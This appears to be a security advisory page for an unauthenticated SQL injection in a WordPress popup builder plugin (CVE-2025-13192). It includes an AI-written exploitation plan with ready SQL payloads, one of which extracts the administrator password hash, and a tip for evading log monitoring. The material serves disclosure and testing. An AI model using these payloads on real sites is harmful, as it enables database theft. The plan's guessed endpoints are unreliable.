Popup builder with Gamification <= 2.2.0 - Unauthenticated SQL Injection via Multiple REST API Endpoints
Description
The Popup builder with Gamification, Multi-Step Popups, Page-Level Targeting, and WooCommerce Triggers plugin for WordPress is vulnerable to generic SQL Injection via the multiple REST API endpoints in all versions up to, and including, 2.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Vulnerability was patched in version 2.2.1 for unauthenticated users, and fully patched in version 2.2.3 for Administrator+ level users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:NTechnical Details
<=2.2.0Source Code
WordPress.org SVNBased on the vulnerability details for **CVE-2025-13192**, here is a structured exploitation research plan for an automated security agent. --- # Exploitation Research Plan: CVE-2025-13192 ## 1. Vulnerability Summary The "Popup builder with Gamification" plugin (up to version 2.2.0) contains mult…
Show full research plan
Based on the vulnerability details for CVE-2025-13192, here is a structured exploitation research plan for an automated security agent.
Exploitation Research Plan: CVE-2025-13192
1. Vulnerability Summary
The "Popup builder with Gamification" plugin (up to version 2.2.0) contains multiple REST API endpoints that lack proper authorization checks and fail to use parameterized queries ($wpdb->prepare). Unauthenticated attackers can provide malicious SQL payloads through REST parameters, leading to SQL Injection. The vulnerability exists because user-supplied input is directly concatenated into SQL strings before being executed by $wpdb->query(), $wpdb->get_results(), or similar sinks.
2. Attack Vector Analysis
- Target Endpoint: WordPress REST API. The namespace is likely
pbg/v1(inferred from plugin initials) orpopup-builder/v1(inferred). - Vulnerable Routes: Multiple routes are affected. Common targets in this plugin category include:
/wp-json/pbg/v1/stats/(?P<id>.*)(GET)/wp-json/pbg/v1/popup/(?P<id>.*)(GET)/wp-json/pbg/v1/submit-form(POST)
- Vulnerable Parameter: Likely
id,popup_id, orform_id. - Authentication: None required (Unauthenticated). The
permission_callbackfor these routes likely returns__return_true. - Preconditions: The plugin must be active. At least one popup or gamification element may need to be published for the route logic to trigger.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_action('rest_api_init', ...)to register routes viaregister_rest_route(). - Permissive Access: The
permission_callbackis either missing or set to a function returningtrue, allowing unauthenticated access. - Data Extraction: The handler function retrieves a parameter using
$request->get_param('id'). - The Sink: The retrieved parameter is interpolated into a raw SQL string:
$id = $request->get_param('id'); $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}pbg_stats WHERE popup_id = $id"); // VULNERABLE - Execution: The raw string is passed to
$wpdb, allowing an attacker to break out of the query.
4. Nonce Acquisition Strategy
While many REST API endpoints require a _wpnonce for authenticated sessions, unauthenticated REST routes often do not require a nonce if they are designed for public-facing data (like tracking a popup view).
If a nonce is required (e.g., the wp_rest nonce), use the following strategy:
- Identify Script Localization: Search for
wp_localize_scriptin the plugin code to find where the REST URL and nonce are passed to the frontend. - Create Trigger Page:
- Find a shortcode (e.g.,
[pbg-popup id="1"]). wp post create --post_type=page --post_status=publish --post_content='[pbg-popup id="1"]' --post_title='Exploit Test'
- Find a shortcode (e.g.,
- Extract via Browser:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce:browser_eval("window.pbg_obj?.nonce")(Variable namepbg_objis inferred).
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability and then extract the administrator's password hash.
Step 1: Discover the Endpoint
Iterate through common plugin REST namespaces and endpoints to find one that returns a 200 OK or 400 Bad Request (indicating the route exists) rather than a 404.
GET /wp-json/pbg/v1/stats/1GET /wp-json/pbg/v1/popup/1
Step 2: Confirmation (Time-Based)
Send a payload designed to delay the response.
- Request:
GET /wp-json/pbg/v1/stats/1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1 Host: localhost - Expected Result: Response time > 5 seconds.
Step 3: Data Extraction (Error-Based or Union)
If the endpoint reflects data, use a UNION SELECT. If not, use updatexml or extractvalue for error-based extraction (if display_errors is on) or stick to time-based.
- Payload (Extract DB Version):
1 AND updatexml(1,concat(0x7e,version(),0x7e),1) - Payload (Extract Admin Hash):
1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)
6. Test Data Setup
- Install Plugin: Ensure
popup-builder-blockversion 2.2.0 is installed. - Create Content: Use WP-CLI to create at least one "Popup" post type if the plugin uses a custom post type.
wp post create --post_type=popup --post_title='Test Popup' --post_status=publish
- Identify Table Names: Use
wp db query "SHOW TABLES LIKE '%pbg%'".
7. Expected Results
- Success Indicator: A successful injection will be evidenced by a controlled delay in response time (time-based) or the appearance of database data/errors in the response body.
- HTTP Response: 200 OK with a payload result or 500 Internal Server Error containing SQL error text.
8. Verification Steps
After the http_request tool confirms the vulnerability:
- Check Logs: Use
tail -n 50 /var/log/apache2/error.log(if applicable) to see if SQL errors were logged. - Verify DB State: If the injection was used to modify data, use
wp db query "SELECT ..."to verify the change. - Match with Source: Verify the vulnerable line in the plugin file (e.g.,
includes/class-rest-api.php) usinggrep -n "\$wpdb".
9. Alternative Approaches
- Boolean-Based Blind: If time-based is unstable, find a parameter that changes the response body (e.g.,
?id=1 AND 1=1vs?id=1 AND 1=2). - POST Method: Some REST handlers check
$_REQUESTorget_params(), allowing the payload to be moved from the URL to a JSON or form-encoded POST body to bypass basic log monitoring. - Namespace Variations: Try
popup-builder-gamification/v1orpbg-rest/v1if the initial namespace guesses fail.
Summary
The Popup builder with Gamification plugin for WordPress (<= 2.2.0) is vulnerable to unauthenticated SQL Injection via multiple REST API endpoints. This occurs because the plugin concatenates user-supplied parameters directly into SQL queries without sanitization or using WordPress's prepared statement functions ($wpdb->prepare). This allows unauthenticated attackers to extract sensitive data from the database, such as administrator password hashes.
Exploit Outline
Identify an unauthenticated REST API endpoint registered by the plugin (e.g., /wp-json/pbg/v1/stats/ or similar). Craft a GET or POST request to this endpoint including a time-based blind SQL injection payload in an input parameter like 'id' or 'popup_id' (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). If the server response is delayed by the specified time, the vulnerability is confirmed. The attacker can then use iterative boolean-based or time-based queries to exfiltrate contents from the wp_users table or other database structures.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.